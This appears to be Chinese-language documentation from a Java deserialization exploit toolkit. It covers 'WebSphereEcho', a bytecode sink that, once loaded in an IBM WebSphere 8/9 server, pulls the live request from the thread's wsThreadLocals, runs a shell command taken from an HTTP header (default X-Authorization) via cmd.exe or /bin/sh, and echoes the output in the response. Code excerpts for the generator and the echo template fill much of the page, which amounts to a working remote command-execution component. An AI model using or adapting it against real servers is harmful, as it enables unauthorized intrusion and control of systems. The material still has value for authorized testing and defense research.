Skip to content

Latest commit

 

History

History
69 lines (60 loc) · 4.46 KB

File metadata and controls

69 lines (60 loc) · 4.46 KB

生成 WebSphere 命令执行明文回显的字节码(WebSphereEcho)

  • 类别:bytecode 别名:— 优先级:—
  • 作者:ReaJason
  • 依赖:无(生成字节码仅依赖目标 WebSphere 运行时自身的类)

作用

生成一段自执行字节码:被目标 JVM 加载后静态块自动实例化,构造函数从当前线程的 wsThreadLocals 数组中找到 WebSphere 的 WebContainerRequestState,取出扩展请求/响应,读取指定请求头中的命令、执行并写回,实现 IBM WebSphere 的明文命令回显。是链尾 sink(END)。

链接标签

  • 入口 tagsBytecode(产出原始字节码)、Echo(回显 sink)、END(链终点)。
  • 衔接 nextTags:空 —— 终点构件。
  • excludes:无。

源码剖析

gadget 本体与同族一致,改写模板静态字段后返回字节:

@Param(name="请求头 key", description="执行命令的 Header 头")
public String header = "X-Authorization";

public byte[] getObject() throws Exception {
    JavassistHelper javassistHelper = new JavassistHelper(WebSphereEchoBytecode.class);
    javassistHelper.modifyStringField("header", this.header);
    return javassistHelper.getBytecode();
}
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
    chain.doCreate(context);   // END
    return this.getObject();
}

回显核心在模板构造函数(static { new WebSphereEchoBytecode(); } 触发):

// WebSphereEchoBytecode.java(关键片段)
Object[] wsThreadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");  // WAS 处理线程的专有 ThreadLocal 数组
for (Object wsThreadLocal : wsThreadLocals) {
    if (wsThreadLocal == null
        || !wsThreadLocal.getClass().getName().endsWith("WebContainerRequestState")) continue;
    Object request  = getFieldValue(wsThreadLocal, "currentThreadsIExtendedRequest");
    Object response = getFieldValue(wsThreadLocal, "currentThreadsIExtendedResponse");
    String data = (String) invokeMethod(request, "getHeader", new Class[]{String.class}, new Object[]{header});
    if (data == null || data.isEmpty()) break;
    PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
    writer.write(this.run(data));
    writer.flush(); writer.close();
    return;
}

run(data) 与同族一致:按 os.namecmd.exe /c/bin/sh -cProcessBuilder(...).redirectErrorStream(true).start() 执行,Scanner("\\A") 收全部输出写回。WebSphere 专属要点:

  • 定位请求靠 Thread.wsThreadLocals:WAS 不使用标准 ThreadLocalMap,而是在处理线程上挂一个名为 wsThreadLocals 的对象数组,模板遍历该数组、以类名 endsWith("WebContainerRequestState") 命中请求状态对象,再取其 currentThreadsIExtendedRequest / currentThreadsIExtendedResponse 字段拿到扩展请求响应。这一路径与 Tomcat 系(Poller 线程)、Undertow(threadLocals.table)、WebLogic(workEntry)均不同,是 WebSphere 专用。
  • 命令载体是请求头:命令写在 header(默认 X-Authorization)头,触发一次请求即回显,不落地、无内存马。
  • 全程 try/catch(Throwable) 静默吞异常,加载失败不影响链上其它逻辑。

参数(@Param)

字段 名称 说明 默认 可选值
header 请求头 key 承载待执行命令的 HTTP 请求头名 X-Authorization 任意合法头名

适用版本与原理要点

  • description 明确:暂未适配 WAS7,已适配 WAS8/9wsThreadLocalsWebContainerRequestState 的字段布局对应 WebSphere 8/9 实现,WAS7 结构不同故未支持。
  • 明文回显,一次请求一次结果,不落地。生效前提:字节码被目标端加载并实例化(一般经 TemplatesImpl),触发请求带对的 header 头,且在 WAS 请求处理线程内执行(线程上确有 wsThreadLocals)。

所属预设链

自由构件,未直接出现在 51 条预设链中。用法:将“命令执行”类链的 sink 由 Exec 替换为 WebSphereEcho,对 WebSphere 8/9 目标带回显执行。

关联